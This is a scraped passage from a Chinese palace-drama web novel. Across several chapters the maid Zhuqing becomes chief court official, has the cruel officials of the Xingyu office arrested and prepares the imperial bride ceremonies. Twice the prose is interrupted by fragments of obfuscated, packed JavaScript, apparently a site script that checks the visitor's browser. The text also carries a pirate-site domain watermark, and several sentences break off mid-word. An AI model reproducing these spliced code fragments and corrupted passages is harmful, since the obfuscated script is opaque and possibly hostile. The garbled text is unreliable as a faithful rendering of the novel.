“这麽说,我可害怕了,那药水就是他提议的,也是他找的材料。可是外头的人都以为是司长作的,平白无故替人担了这个恶名。 “司长想要恶名镇住他们嘛……喝酒喝酒,不说了…… 风雪大了,在街头赁了一个二人抬的小布轿子的宁书检摸着山羊胡,正琢磨着事,依他所见,行狱司是被排挤了。先不说八司就黄时一一个是男的当司长,就说行狱司往日素有臭名,怎麽可能受待见。 哎呀呀,真怕行狱司被清算,尚宫局选的是女官,行狱司都是男子,也不是女官,到时…… 多思多虑的宁书检觉得这样下去可不行,他得为自个谋一条出路,况且,说不得这是一个翻身的机会,他日后,不必再看黄时一的脸色过日子! 这般想着,宁书检阴恻恻地笑了起来,但凡有人瞧见,就不能说他是一个好人。 * 三日后,录用的女官在尚宫局外放榜,另有陆司仪与齐司乐在场,为通过的女官审核身份,陆司仪说道:“考上了有三日时间思考,若是放弃,便不用来确认。但是,为了防止落选者暗害考中的人,哪怕有人放弃录用,也不会寻他人替上。 来来往往的宫女们个个喜气洋洋,听了陆司仪的话,也不觉有甚,只觉得自己幸运。来尚宫局当差,不只体面,月例也高。而且当场确认入职的女官还会被拉去殿内,由司衣司的女官们替她们丈量身形,再定制官服。 “官服分夏冬两种,每种各两套,鞋子、玉饰、头上梳的发髻还有戴的首饰等等都是统一的,走出去,人家一眼就能瞧见这是女官。巧司衣解释,她指着在忙碌 的女官们说道:“瞧见没有?这些是司衣司的女官们,负责绣制物件,她们身上穿的就是官服,领子与袖口略有不同,佩戴的玉饰,也是刻了一个‘衣’字,用于区别其他司的女官。” “你们也会有这等待遇,只不过要等官服统一制出来。”巧司衣瞧着这些女子们讶然的神色,一个个俱都很鲜活,似乎与宫中死气沉沉的老宫女老太监们有天壤之别。 司衣司的女官们是特意穿官服的,竹清下的命令,让她们在这里给来确认的宫女们好生看看,稳定一下军心。 宫中的热闹一波接着一波,考试,这场现场确认入职更是,尤其是她们得知未来的待遇,简直是喜极而泣。 正式的任命会由皇帝颁布圣旨,尚宫、司衣、司正……掌珍、掌典、掌簿、掌言……这些官职的任命也会统一宣旨,在那日,尚宫的官印也会交与她。 尚宫局已经初步建造完成,只等着再培训培训新入职的女官们,随后就可以在钦天监算好的日子里正式挂牌匾。 钦天监算的日子是三月十八,还有一个多月的时间。 在此之前,竹清还有一件要是要作,那就是整理整理行狱司,在她还没腾出手时,那头的人却找上门来。 “姑姑,这是宁书检让人送来的,他还说要约姑姑见一面,倘若姑姑答应,他有东西要交给姑姑,关于黄时一的。”红花如今是竹清的得力助手,像一切迎来往送,都是她在一边帮着。 红花把信件递给竹清,在她拆开信看的时候,提醒道:“姑姑,他可是一个奸诈狡猾的人,坏的很,姑姑可要小心他。” “你消息如今这麽灵通?”竹清宽慰她,“放心,我不会吃亏的,就与他见上一面,省了我去找他们的功夫。” 作者有话要说 第 93 章 走马上任——尚宫大人 第93章走马上任——尚宫大人 “早就想与尚宫大人见一见,认识认识,没成想一直有所阻碍,这才缓了又缓,今个能一见,我宁书检荣幸至极,尚宫大人,喝酒。”宁书检一袭白袍,腰处别了一把折扇,头上仅仅插了一根白玉簪子。 看着很是消瘦清俊。 宁书检作邀,竹清应了,并且带上了曾妈妈与红花,就是想瞧瞧,宁书检想作甚。 “宁先生坐,不必客气。”竹清拿起筷箸,夹了一块糕点放进嘴里细嚼慢咽。宁书检一时不知她想法,又看了看旁边的曾妈妈与红花,也招呼道:“两位娘子也坐,喝酒喝酒。” 竹清看着他这股谄媚劲儿,心里想起了宁书检的来历,原是贫家出来的,从小吃不饱穿不暖,但是读书上又有几分天赋,家里东借西借,让他凑够了读书还有考试的银钱,一次就考中了秀才。 可惜,那之后,他再三考,不中。屡试不第,他就放弃了,搭上了同一个乡出来的黄时一,教黄时一把他带进了行狱司,并且帮黄时一坐上了司长的位子。 乍一看,似乎很励志——前提是他的手段不是那麽恶心,喜欢用极刑折磨人。 酒过三巡,宁书检终于把自个的目的说出来了,他以袖掩面,说道:“我是个罪人,司长以暴虐横扫行狱司,我却甚麽也做不得,只能眼睁睁地看着他虐杀那些无辜的人,真是惭愧惭愧。” 他本是想听竹清安慰他,然后再一起讨伐黄时一,哪曾想,突然冷不丁听见了一句,“是要惭愧。” 啊? 她说甚麽? 她真的说我要惭愧? 竹清吃了一块尚且温热的槽鹅肉,又继续说道:“你跟着黄时一那麽久,既然知道他的暴行,何不早早就上报给主子,让主子定夺?却依旧呆在行狱司,跟着黄时一祸害了一个又一个的人。你说,你该不该惭愧?” 宁书检脸色有些难看,他藏在袖子里的拳头握紧,指甲都发白了,身子微微颤抖,嘴唇抿得很紧,但是下一秒,他就露出笑容,说道:“欸,尚宫大人说的极是,我上有老下有小,那黄时一用我家人威胁我,我就只能屈居于他的手下,半点不敢有异心。” “只不过,我也是知道好坏 ,知道廉耻的,这不,我偷偷把他的罪行给写了下来,又没有门路投给主子,现在,我把它交给尚宫大人。”宁书检从袖子里拿出几张纸,先是递给曾妈妈,再由曾妈妈放在竹清面前。 哟,还是上好的淮安纸,一张几两银子的。 竹清漏眼扫了扫,大多数是黄时一屈打成招,亦或是确定出不了行狱司的,便用来实验他的极刑,甚麽剥人皮、蚂蚁啃噬而死、老鼠钻入肠子,在肚子乱窜…… 只这般一看,就让竹清拧眉,端得是恶心。 “行狱司那麽多人,怎麽就他一个人作下这些事情麽?确定没有其他人从旁协助,这才使得他瞒住了上边。”竹清的视线从纸上移至宁书检脸上,轻声问道:“助纣为虐的人到处都是,行狱司也不可避免,宁先生,你说是不是?” 他宁书检就是干干净净麽?只不过是比旁人多几个心眼子,选择背刺黄时一,好把自己摘出来。 可是竹清并不打算放过他。 “黄时一在行狱司五年,他的罪行只这一点吗?” 宁书检犹豫,的确不止一点,但是全部交给她? “今个我已经饱了,告辞。”竹清正收起淮安纸,宁书检急急忙忙拦住她,说道:“不瞒尚宫大人,我这还有,只是拿给你,我怕黄时一那厮报复我,常言道,在外行走,谁没个三五兄弟,我怕他们蒙我面杀我啊。” “尚宫大人,若是我投靠了你,你能否确保我的安危。”宁书检问道,他若能安安稳稳活下来,再谋算谋算,行狱司岂不是他说了算? “自然。”竹清吐出两个字,在宁书检翻袖口时,她漫不经心地想到:流放去岭南挖石头也算安全罢?这怎么不算确保了安危呢? 嘻嘻。 拿到了全部的状纸,竹清却看也不看宁书检,径直带着人走了,出了门,有一抬四人抬的大轿子等着,红花先后把她们扶上了去,这才进去,又吩咐轿夫,“起轿。” 竹清说道:“倒省了咱们的一番功夫。”她原本想着离间他们,让行狱司这几个人狗咬狗,清除掉他们,哪儿曾想,宁书检是个奸诈的,背着他们偷偷找到她,还交了黄时一的罪行状。 “姑姑,这不止黄时一的呢,还有旁人的,欸?连他自个的都有。”红花正忍着害怕瞧,忽的 看见了宁书检的名字。 “避重就轻罢了,若是没有他,那就太假,不过他能得出罪状纸,旁人自然也能,且看罢。”竹清说。 翌日,竹清去寻太后。 太后见了行狱司审问的手段,也觉得不适,她说,“不管有罪没罪,都先一顿鞭子伺候?那鞭子上面还掺和了辣椒水与盐水?” “这般审问,无罪也变成有罪了。”太后皱眉,“这行狱司当真放肆,把行狱司当成他们自己家麽?想如何就如何?连刑部大牢也不会这样作贱人,他们凭甚麽?” “奴婢也是这样想,且娘娘您看,上边还写了,有些人还没上刑就自裁了,可见,行狱司的恶名远扬,让多少人害怕。奴婢想着,尚宫局组建,行狱司必不能像从前一样滥杀无辜,故而,总要换一批人才好。”竹清循循善诱,说道:“娘娘,他们这些人见过了血,知晓了能定人生死,让他们改是很难改的,只能把人换了,换一些遵守规矩的。” “哀家觉得你的话在理,不过行狱司这种地方,一时不好换人啊,再者,你与哀家说,行狱司并入尚宫局,要选拔女官,但是那样的地界,哪儿有女官肯去呢?”太后叹气,“八司当中,最让人害怕的,莫过于行狱司了罢?” 竹清点点头,的确,一时间找不到人接手行狱司,这也是她苦恼的问题,行狱司的人就像一块骨头,卡着不上不下,让她难受。 “奴婢想,若是进行狱司,少不得选一些嬷嬷去,嬷嬷们经事多,也不怕。”竹清忽的想到了某些朝代就是用嬷嬷们来审问犯人,有的不用刑,却比刑部还要厉害。 “你若是能找到嬷嬷顶替他们,哀家准许你把行狱司的司长以及其他人一并换下,至于换下来的人……哼,有他们好受的!”太后冷笑。 入了三月份,天气就逐渐暖和起来,出门子都不用再随身携带汤婆子,倒是轻省了不少。 司衣司送来了尚宫的官服,暗红色、通体绣有鹤纹,宽袖,袖口与领子还特意绣上了兰花兰草,这是旁的女官官服所没有的。 司宝司送来了尚宫的首饰,头饰是三件,一件插于正中间的梳篦,剩下两件分别插在左右两侧,是两支玉钗,莲花形状,还镶嵌了红宝石。 压住衣摆的玉环白里带金,倒是尚宫局女官统一的 式样。 红花帮着竹清穿戴好试了试这官服红花满眼艳羡“姑姑这官服可真气势您穿起来跟前朝的大人们也不差甚麽。” “是吗?”竹清嘴角挂着一抹浅笑她看着全身镜里的自己无限感慨当初她来到大文朝那时候未曾预料到自己还能有作女官的一日。 “姑姑您觉得我能做女官吗?”红花小心翼翼地问道神态中透露出几分不自信她说“女官选拔要会文写字这个我学了只是不会计算、律法、刺绣……其实我想进司正司只是我不会律法。” “有些司不需要会这些比如……”竹清停顿了一下看了看红花的小身板红花从小营养不良 “比如甚麽?”红花凑近满含期待。 “比如司仪司还有行狱司。”竹清温声解释道:“只是司仪司暂且不招人了毕竟原本就不是缺人的司再则那里的女官一做就能做到老。” 司仪司是教导礼仪的可不就是越老越吃香。 “那就只剩下行狱司了吗?”红花问道她不安地说道:“可是我听说行狱司冤魂多晚上里面会有叫冤的声音一声接着一声可瘆人了。曾妈妈之前还与我说少去行狱司那头不然容易招惹不干净的东西。” 瞧瞧行狱司的名声多脏臭在那边走路都要绕弯。 “红花如果你真的想作女官就要想好除了行狱司其他司在接下来几年都不会招人了。”竹清说“况且即便是招人要求也越来越严格。” 现在的宫女们还有很多在观望等她们真正知道了尚宫局的待遇就会蜂拥而至个个儿都想进尚宫局那难度自然要难上几个度。 竹清看着红花一步步学得好些本事知道她是个认定了目标就不放弃的人怕她犯轴就劝她“其实不进尚宫局也好你现在在承乾宫伺候待过几年做了太后跟前的得意宫女日子也不差。你如果想进司正司很难大文的律法足足有几尺厚你把它完完整整看一遍便要花上几个月的时间更别提你要吃透它要明白它是如何用的。” 司正司有它的规矩给犯人定罪要写明用到了哪条律法律法在哪本书第几页第几行光是找律法 都已经足够头疼了。 “司正司只负责宫里宫女太监犯错之后的判决,所以活计不算十分重,这回招了十个人,每一个都是精通律法,有一个甚至倒背如流。”竹清说,那个倒背如流的,已经被她提名为司正,待皇帝同意,便会下旨。 “红花,如果你真的想进司正司,少不得吃几年苦头。”而且,还不一定有回报。 “你想好了麽?”竹清询问,对于红花,她着实很欣赏,不想她一头撞进胡同里,浪费几年青春。 “姑姑,我,我,我要好好想想。”红花有些许迷茫,那日司衣司的女官们给新录用的宫女们量体裁衣时,她也偷偷去看了,她们谈笑风生,是她梦想中的模样。 她也想。 也想作女官。 可是竹清姑姑说的话有道理,她能有毅力去坚持,哪怕努力几年也不会有结果? * 自从成了尚宫,竹清出入宫门就变得方便起来,有时只看见她的脸,守卫们审查就会极快地结束,末了还要说一句,“尚宫大人慢走。” 竹清这回出来,是去寻钱斌生的,先前从王府进宫,钱斌生这种师傅就不能跟着进去,便被打发到陪嫁的酒楼去,作后厨师傅。 “钱斌生,有人找你。” 云福酒楼是个生意很旺的食家,此刻人来人往,店小二忙得脚不沾地,后厨更是一片烟火,各式各样的菜味混杂在一起。不知哪个炒得辣椒,一下子熏得人眼睛哗哗哗流泪。 钱斌生抹了几把眼泪,抱怨道:“那个混账炒辣椒也不提前说一声?我要你好看!” “谁要我好看?杀才,今夜别走,等我好好灌你几壶酒,看你给谁好看。”炒辣椒的师傅回道,钱斌生笑了笑,整个后厨欢声笑语,显然情分好着呢。 从王府出来了,钱斌生也不曾自怨自艾,而是又努力打好关系,与这些本就在云福酒楼的师傅们称兄道弟,不足三月,便融入了。 上二楼雅间时,他还在纳闷,谁找他? “哟,是你!”钱斌生好一阵儿激动,他都有个几年不曾见过竹清了,一个箭步,他到旁边直挺挺地坐下,说道:“这几年只相互送礼,我却一直不曾进来见你,今日一瞧,果然红光满面,想必是有了好前程?” 他们这些在 外头,消息不算十分灵通,这会子也只知道宫里组建了尚宫局,竹清作了尚宫。 “还没有庆贺你当官大人了。钱斌生起身,想唤酒水来,又有些局促,一拍脑袋,“我高兴忘了,今个上值,恐怕不能与你吃酒吃菜了。又怕怠慢了竹清,一时陷入两难。 “不必,我寻你是有话要说,菜还有酒我已经点了,掌柜的瞧见了我的手信,知道我代表主家来,不敢半路叫你回去后厨。竹清解释,钱斌生放下心,掌柜的亲自领着酒水端上桌,又对钱斌生嘱咐道:“钱师傅,你便陪这位姑姑吃席,下边的活计不用你操心。 “行。钱斌生应了,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“朕相信你能掌管尚宫局,尚宫,可要尽忠职守。皇帝与竹清说,竹清回答道:“微臣定不负陛下所望。 微臣,她不再自称奴婢了。 “前朝还有事,朕便先走了,母后,您注意身子。知道太后不会离开太快,皇帝特意嘱咐。 由竹清带路,太后在尚宫局逛了一圈,又嘉奖了好些年青的女官,给足了体面。 “尚宫,行狱司的司长走了,一句话都没有留。巧司衣在竹清耳边低声说道,大喜日子,他却如此扫兴。 “不管他。黄时一离死不远了。 作为正一品尚宫,竹清在尚宫局有自个办事的地方。尚宫局所在的地方原本是一座宫殿,再有先前殿中省的人加盖了一栋二层小楼,建造尚宫局时,竹清特意申请经费,把小楼加盖到三层,最上层是尚宫与八司的司正等人的办公场所。 竹清的办公场所最大,南北通透,有一扇大窗户,是冰裂纹窗棂,不规则的窗棂外面,正有一片竹林在摇曳。办公时一抬头,就能瞧见青青绿绿的竹子。 除了桌椅之外,这里还摆放有落地青瓷花樽,里面插了几朵花,都是花房送来的,青紫黄红,各有姿态。花樽旁边是一个小隔间,放了小榻与被褥,用于午休。小榻旁边还有脸盆架,铜盆与巾子等等洗漱用具一应具备。 简单、朴素,却又让人安心。 这儿是她的地盘呐! “尚宫。有人敲了敲门,竹清从窗棂旁转身,坐在椅子上,说道:“齐司乐,进来罢。 待齐司乐入内后,竹清又问道:“怎麽了?可是有甚麽事? “陛下传来口谕,三月二十五要在广明殿举办宴席,是因着文英公主回宫。 齐司乐边说边把一张已经列好的单子递给竹清,上边正写着舞蹈的名称,共十种,还有乐声,分了十五种。 宴席一般会有两种乐声,故而比起舞蹈,乐声会多一些。 “女官们最近练得怎麽样? ”竹清问齐司乐答了她又说道:“那就这三种。” “好我这就去安排。”齐司乐说。 当了尚宫竹清肉眼可见地忙碌不少齐司乐刚走李司修就来了 再之后是黎司宝官窑送来了一批新的瓷器需要登记入库在入库时需要尚宫与黎司宝在场两人一起统计。 “尚宫这一批瓷器该如何分?”黎司宝问新的瓷器进宫首先是紧着皇帝与太后还有太皇太后剩下的就是各宫的主子。 不过对于黎司宝来说因着皇帝还没有选秀后宫中住着的太妃们其实不值当她送这些上好的瓷器过去太亏了一没有赏钱二不能露脸。 “登记入库之后把册子给我一份我拿去问问太后。”竹清有私心自然先问了太后看看她有没有喜欢的。 * 承乾宫太后正受着大宫女的讨好冬雨替她揉肩一边轻声细语地说道:“奴婢舍不得太后待奴婢出嫁后还想时时回来照顾太后娘娘。” 这话就有些不知分寸了既然想要这份“贴身伺候太后”的体面又不想自梳哪儿有那麽好的事? “可惜你要嫁人哀家会给你置办一份嫁妆让你下辈子衣食无忧。”到底伺候她一场太后也不想过于苛待。 只是她没有瞧见冬雨脸色明显有些难看她还想着成亲之后照旧伺候太后先前太后娘娘把身契放给了她她成了良籍。寻得了一位如意郎君是个秀才。 可惜她不满足于只做一个秀才娘子见过了宫里的荣华富贵她更想一辈子都这般舒坦嫁人作秀才娘子只得一个好听的名头实际上生活待遇完全比不得宫里。 “娘娘冬雨实在是舍不得您。” 太后有些不耐烦了心养大了?她说“既然这般便不嫁人像你竹清姐姐一样一辈子呆在哀家身边你可愿意?” 唰的一下冬雨脸白了她自然能听出来太后发怒了。 “太后娘娘息怒。” “滚出去。”太后闭眼直到额头上感知到熟悉的力度她才长叹“还是竹清你伺候得哀家舒服。” 作者有话要说 丫鬟——王府管事——东宫管事——椒房殿的掌事姑姑——尚宫大人现在是尚宫大人啦!未来可期~ 第 94 章 尚宫局的忙碌 第94章尚宫局的忙碌 “太后愈发小孩子气了。竹清笑着说了一句,语气亲昵,让太后更加舒心。 待问罢了太后新进瓷器的去处之后,竹清又与太后说道:“太后,奴婢寻到了两位嬷嬷,正是刑部大牢里负责记录口供的,与她们接触过了,她们愿意来尚宫局当个女官,只她们一来,行狱司的五人就可以被问责了。 竹清这是打算直接换掉黄时一等人,特别是宁书检把那些罪状纸给了她之后,她就发现这些人已经脏到了骨子里,手段残忍到令人发指,断断不能容忍他们继续呆在行狱司。 “刑部大牢的嬷嬷?太后重复一遍,似乎也想到了甚麽,刑部大牢也会收监女犯人,特别是一些大族被抄家,她们没入大牢,就需要嬷嬷们去看顾。 “哀家倒是想起来了,之前那场抄家灭族,刑部大牢里面的嬷嬷都不够用,皇帝又临时下旨,宣从前的几个精奇嬷嬷进刑部帮忙,这才料理好。 竹清附和道:“娘娘记忆真好。奴婢正是盯上了那几个精奇嬷嬷,她们擅长审问,却不会使用重刑,正适合行狱司。奴婢私底下与她们接触了一两回,她们也是愿意来的。 在刑部里精奇嬷嬷们只是帮着打下手,论起地位来,万万不能及官大人,如今得竹清邀请,立即就与她商定,回去收拾行当,要进行狱司。 旁人避之不及的行狱司,她们反倒不怕。 “那便就是她们罢,哀家下个懿旨,传她们几个进宫,再由皇帝下旨任命。至于司长几个,你拿了哀家懿旨去,直接把他们抓拿,也不必换地方,直接关入行狱司即可。太后说。 竹清领命去了。 行狱司里,阴风阵阵。 黄时一正喝着小酒吃着花生,其他几个人,包括一向不沾酒气的宁书检都喝了几盅,脸庞红通通,酒气冲天。 “那竹清竟然这般不给我面子,害的我被人嘲笑。黄时一恼怒至极,他是顶顶看不上女子,被竹清压着,本就不爽,更别提这个女子还不把他放在眼里。 以往会宽慰他给他出主意的先生这次却一反常态,静默了,只坐着喝酒,黄时一不耐烦地看向了身边,问道:“先生,你怎麽看? 宁 书检敷衍两句他自个都自身难保自从那日见了竹清一面这些日子她都没有主动找过他他递信邀她喝酒她也拒绝了。只怕他也要遭了。 借着喝酒的动作宁书检遮掩脸上算计的神色他得为自个谋个出路或许……还没等他想出一个所以然来行狱司却突然闯进来几个膀大腰圆的嬷嬷看样子比这些汉子还要凶。 “大胆!你们是谁怎麽敢擅自闯入行狱司。”黄时一一拍桌子本就混沌的脑袋这下子就更加迷糊了。 “她们不敢我敢。” 声到人未到几个嬷嬷让出了位置竹清自后边走来一直到桌子前边才停下她说“本尚宫奉太后娘娘的懿旨抓拿行狱司司长黄时一、宁书检、赵小栓……共五人即可起关押在行狱司待审问。” 精奇嬷嬷们立刻上前甭说黄时一他们喝了酒就说她们个个力气大直接就给他们撂倒了。 “马嬷嬷陛下的圣旨还没有传来但是你虽然没有实名却有实权可以先开始审问结果直接交给司正司由她们来判决。”竹清说这将会是司正司自建立以来处理的第一个案子。 颇有些杀鸡儆猴的意味。 “是尚宫放心我等在刑部多年这些人逃不过我们的手掌心。”马嬷嬷说她有得是不动刑就让人交代实话的手段。 “那行狱司就交给你们了。”竹清拍了拍马嬷嬷的肩膀“我很看好你马司长。” “定不负尚宫大人的期待。”马嬷嬷目送竹清离开这才喃喃自语“马司长马司长司长嘿!” 真是顺耳极了。 “尚宫听说你带人去把行狱司端了?”尚宫局门口黎司宝正拿着茶杯走走停停张望着甚麽等瞧见竹清唰的一下就走到她跟前。 “怎麽你们都知道了?”竹清问。这话就是承认了黎司宝倒吸一口气“阵仗那麽大早就传开了我方才听见时还愣了许久。” 新官上任三把火。她不是没想过竹清会揪出一个司的错误来立起自己的威信只是把行狱司所有人关押受审 黎司宝暗自想这事一出只怕以后宫里的人都知道这位尚宫是个眼里不容沙子手段狠辣的。 “某些人不在自个的工位上做事,成天到晚盯着旁人,可不就是比别人知道得多。一天天的,活也不干,只喝茶吃糕点,半点也没有当差该有的模样。”齐司乐不知从哪儿出来,语气嘲讽,黎司宝怒瞪她,却并不反驳。 又没有指名道姓,她做甚承认? “他们做错了事情,自然该罚,咱们尚宫局都有规章制度,一切按照规矩行事,不可过于放肆,不然,我可不会留情面。”竹清挑了挑眉。 “知道了。”黎司宝笑眯眯地应了,又白了齐司乐一眼。 谁敢触霉头? “把包司正喊来。”竹清吩咐,包司正已经三十三岁,瞧着很和善,只她的脾气,却是相当的火爆。 “尚宫,你找我?” “行狱司的几人,待马嬷嬷她们审问妥当,你们判决,记住从重不从轻。”竹清交代,包司正点头,恶狠狠地说道:“那些人草菅人命,岂能让他们随意逃脱,尚宫放心,死刑我也能判。” “这便最好了。”竹清默许了死刑。 * 且说文英公主回京述职,陛下为她准备了宴席,先前齐司乐就曾经问过她该选用甚麽舞蹈甚麽乐声。 而现在陈司计找到她,言明她计算开支的工作很不顺利,先前定下要提交开支表的日子要往后挪几日,宽限宽限。 “怎麽回事?你详细与我说来。”竹清作出倾听的模样,陈司计着实年青,教那些阳奉阴违的人看低很正常。 殿中省被取缔,先前的太监们留了一部分,帮着新创立的司处理工作,像陈司计,她作的差事就是需要询问从前负责这些的太监,奈何那些人没了差事,整日混日子,便刁难陈司计。 “我也理解他们,毕竟我的出现,不正是向旁人说明,他们已经没有多大的用处?没了职位,没了丰厚的月例,那些太监怕是吃了我的心都有了。”陈司计说笑,“只是我体谅他们,却不会任由他们怠慢,尚宫,我想这个月额外聘请他们,等我们司计司上下都上手如何做账之后,就不需要他们了。” “额外聘请。”竹清想了想,说道:“大约需要多少银子?多了我可就要考虑考虑才能批。” “二十两。”陈司计也是斤斤计较,只想着以最低的成本换最大的利润。 两个 人倒是“臭味相投”,竹清一合计,划算,当场就给陈司计批了这笔银子。 “陈司计,你到宫里多长时间了?”竹清得闲了,就想着与属下联络感情,相处麽,就是要有来有往,这才能让人真心佩服。 她原本以为当司计的会是庄子出来的女学生,没想到,陈栩栩凭着自己的努力,坐上了司计的位置。 “五年。”陈司计陷入回忆,“我到宫里时日其实不算长,刚来时甚麽都不懂,也惹出过笑话,打那之后,为了缓解无趣,我就日日找书籍来看。有了底子,才能在考试中脱颖而出。” 陈司计又说,“我是自愿卖身进宫,父亲原是秀才公,我娘亲会织布,日子虽然不说大富大贵,却也平平淡淡,很幸福。直到我父亲病死,娘亲被舅家带回去二嫁,叔伯觊觎我的家产,不得已,我这才入宫。” 似乎每一个进宫当宫女的人都有一段凄惨的往事,陈司计也不例外。 “我父亲母亲也是被欺负狠了……”竹清也挑着说了几句,她与陈司计的经历倒是有些相似,两人不免更加亲近。 “尚宫,有您的信。”一个小女官敲了敲门,递信。 陈司计见状就出去了,竹清一个人更自在,风把竹子的清香味吹进来,也吹动了信纸。 是萧扶风寄来的信,信上说她即将启程回京都,听闻她当了尚宫,为她高兴,特意准备了一份礼物给她,待她回京,当面亲自给她。 竹清越看越高兴,萧扶风这是立了大功,光荣回京呢! “算了,待她回京,一起吃酒聊天。”竹清把毛笔放下,不打算写回信,就等着萧扶风回来,她们两个好生聊聊。 想好了,竹清就起身,预备着去巡视一下,给萧扶风一个满意的宴席。 “尚宫大人。”见了她来,翩翩起舞的伶人们皆停下,声声入耳的丝竹管弦声也逐渐消散。 “你们继续,我只是来看看。”竹清说,齐司乐摆摆手,让她们接着排练。 凡是她走过的地方,女官们皆抬头与她打招呼,尤其是那些小女官,等竹清走过,她们还站在原地偷偷看她的背影,眼里满是崇拜与艳羡。 * 皇帝与太后商议,终于把皇后的人选定了下来,礼部尚书的小女儿,谢微祺。旨意已经颁 发,钦天监选的吉日是八月初三,就那日举行封后大典。 尚宫局受命,要为封后大典作准备。 “巧司衣在哪里?把她叫来,我有话交代。从太后宫里出来,竹清回到了尚宫局,一进门,都不得歇息,口中吩咐着事宜,“李司修、黎司宝还有陆司仪可得空,全部给我叫过来,我有要事。 人齐,竹清就说道:“圣旨已下,我们尚宫局也该忙碌起来,巧司衣安排人上门,给谢家通个信,看看谢小娘子甚麽时候得空,司衣司上门给她量体裁衣,包括大婚的婚服、寻常的衣裳、帕子、荷包…… “黎司宝,你们司宝司要赶紧把大婚用的头饰、佩饰画出来,尽量多画几张,我拿去给陛下以及太后过目,都没有问题之后,就送去谢家,让谢小娘子挑选。 “李司修,椒房殿需要重新修缮,明天你带人去椒房殿一趟,仔细检查,若有漏洞,尽早报上来。 竹清说了这样多,缓了缓,喝了几口温茶才继续说道:“陆司仪,你的任务比较重,今天就挑选几个嬷嬷,我会带着你与她们去往谢家,给未来的皇后娘娘还有她的贴身宫女们教导礼仪。 “尚宫大人。门外有人轻声说,等听见一句“进来之后,司仪司的白掌珍出现在众人眼前,她说,“方才勤政殿有旨意,除了册封皇后娘娘,陛下还封了两位妃子,一位是高丞相家的孙女高汝安,封了贤妃,一位是孟太傅家的孙女孟学一,封了德妃。两位后妃也需要行册封典礼,钦天监给出的日子是九月十五。 “这般,行,我知道了,你下去罢。白掌珍关上门,竹清这才说道:“你们都听见了?咱们的活计又重了,除了去谢家,高家以及孟家也需要派出人手,李司修,你们这两日去空余的宫殿看一看,有哪些合适的就记下来,分给两位后妃。 “都听明白了麽?竹清询问。 “明白了。 三日后,竹清带着陆司仪与巧司衣出宫了,她们三个一辆马车,其余的女官们也是一辆。 巧司衣是个碎嘴子,没有外人的时候就喜欢说些八卦,刚出了皇宫,她就絮絮叨叨,“你们可知,咱们将来的皇后娘娘,谢家小娘子,与高家还有孟家的两位小娘子不对付。 “怎麽说?眼下没有其他人 ,陆司仪也就问了,了解多一些忌讳对她来说很有用,毕竟在谢家得住个三个月,与谢家小娘子相处日子长。 小说更新,记住域名caixs?(请来才 小说 看最新章节 完整章节) “是这样的,从前都是一个圈子顽的,三个小娘子也见过,一起打过马球顽投壶,只高家与孟家两家官位比谢家的郎君高,谢家小娘子在她们两个面前不说伏低做小,但是被瞧不起是有的。” 这个竹清倒是知道,礼部尚书之前只是侍郎,出身寒门,与高家孟家这种老权贵家族相比,他的底蕴差的远。自然,地位也就低上许多。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆司仪是要留在谢家而竹清则是等巧司衣忙活完就带着巧司衣走了。 她们还要去高家与孟家。 只是这两家能明显察觉到对竹清与巧司衣的态度不大好甚至高家的夫人连面都没有露只让人带路巧司衣为高家小娘子量身时还被凶了一下。 哪怕对着竹清高家小娘子也不过是表面上客气实则眼里的漠视中隐隐带着鄙夷不屑孟家小娘子倒还好些纯粹醉心文学不苟言笑。 出门后 “你慌甚麽自有未来的皇后娘娘解决。”竹清意味深长地说道。 再傲气进了宫也会被磨得贤淑有礼。 * 任尚宫后竹清就是领两份月例尚宫局再忙她也会早中晚地回承乾宫一次与太后说一说体己话。 竹清收拾好自个推开门出去时天还没有亮有几颗星子一明一暗有时比抄手游廊上挂着的宫灯还要明亮。 “太后可起了?”竹清询问门口守夜的小宫女忙福身说道:“回竹清姑姑的话太后已经醒了只是还没有唤人进去伺候。” 太后不喜欢在安寝时有宫女在身边除了竹清姑姑哪怕是几位大宫女也不能过于靠近。 “是竹清?进来罢。”太后听见了声音。 “奴婢来伺候太后起身。”竹清笑着进去跟在她身后的宫女们鱼贯而入打头的两个直接撩开纱帐有的捧着净牙的薄荷牙粉有的捧着干燥的锦帕。 太后眼神有一瞬间的迷蒙随后又恢复了锐利只在瞧见竹清的时候变得温和几分。 “如何?昨个去了那三家可识得她们的脾性?”太后询问道竹清一去可不仅仅是作尚宫局的差事还有为她打听打听三位小娘子。 “谢 家小娘子倒是温和,见了女官们也是和气,还问她们平时当差忙不忙,一个月休假等等。”竹清对谢家小娘子印象最好,往后中宫之主是这样的脾性,自然能省事不少。 “那你觉得,她会与哀家争尚宫局麽?”太后抬手摸上眼角,又忽的感慨,“哀家老了,也不知道能掌控尚宫局多久,若是她入宫了,成了皇后,名正言顺的,哀家少不得把尚宫局交给她。” 毕竟当初建造尚宫局时,就曾经言明尚宫局听命于皇后,竹清也在思考,如果换成皇后当她的顶头上司,她尚宫的位置能保住多久? 换位思考,若她是皇后,尚宫是太后的人,她定不会让这个尚宫当太久,肯定推自己的人上去。 “太后又发小儿脾气了,瞧瞧,您年轻着呢,奴婢要一直跟着太后学东西,太后可不许说自个老了。”竹清哄了哄,又说道:“皇后瞧着聪明,应当不会刚进宫就要急着把尚宫局笼络在自己手里,太后不急。” 哪怕再想要权力,也不能上来就得罪太后,这不是找麻烦? “说的在理,只是总不好一直不给她,唉。”太后拧眉,“哀家可不想放权太快,落差太大,滋味不好受。罢了,左右皇后还没有那麽快进宫,你与哀家说说其他两个。” “太后,高家小娘子高傲,对奴婢几个不带正眼,态度不算好。那孟家小娘子好些,不过书不离手,一副把书籍读烂的劲头。”竹清说,说不上哪个更好,半斤八两。 “哼。”太后冷笑,“高家那个出了名的,她家世高,祖父是丞相,父亲又是嫡长子,在朝任三品大官,可不是谁也瞧不上?知道处处不如她的谢家小娘子反倒成了皇后,她只是一个妃子,心里憋着气,能对你们有好眼色才怪。” 竹清没有反驳,正是这个理。 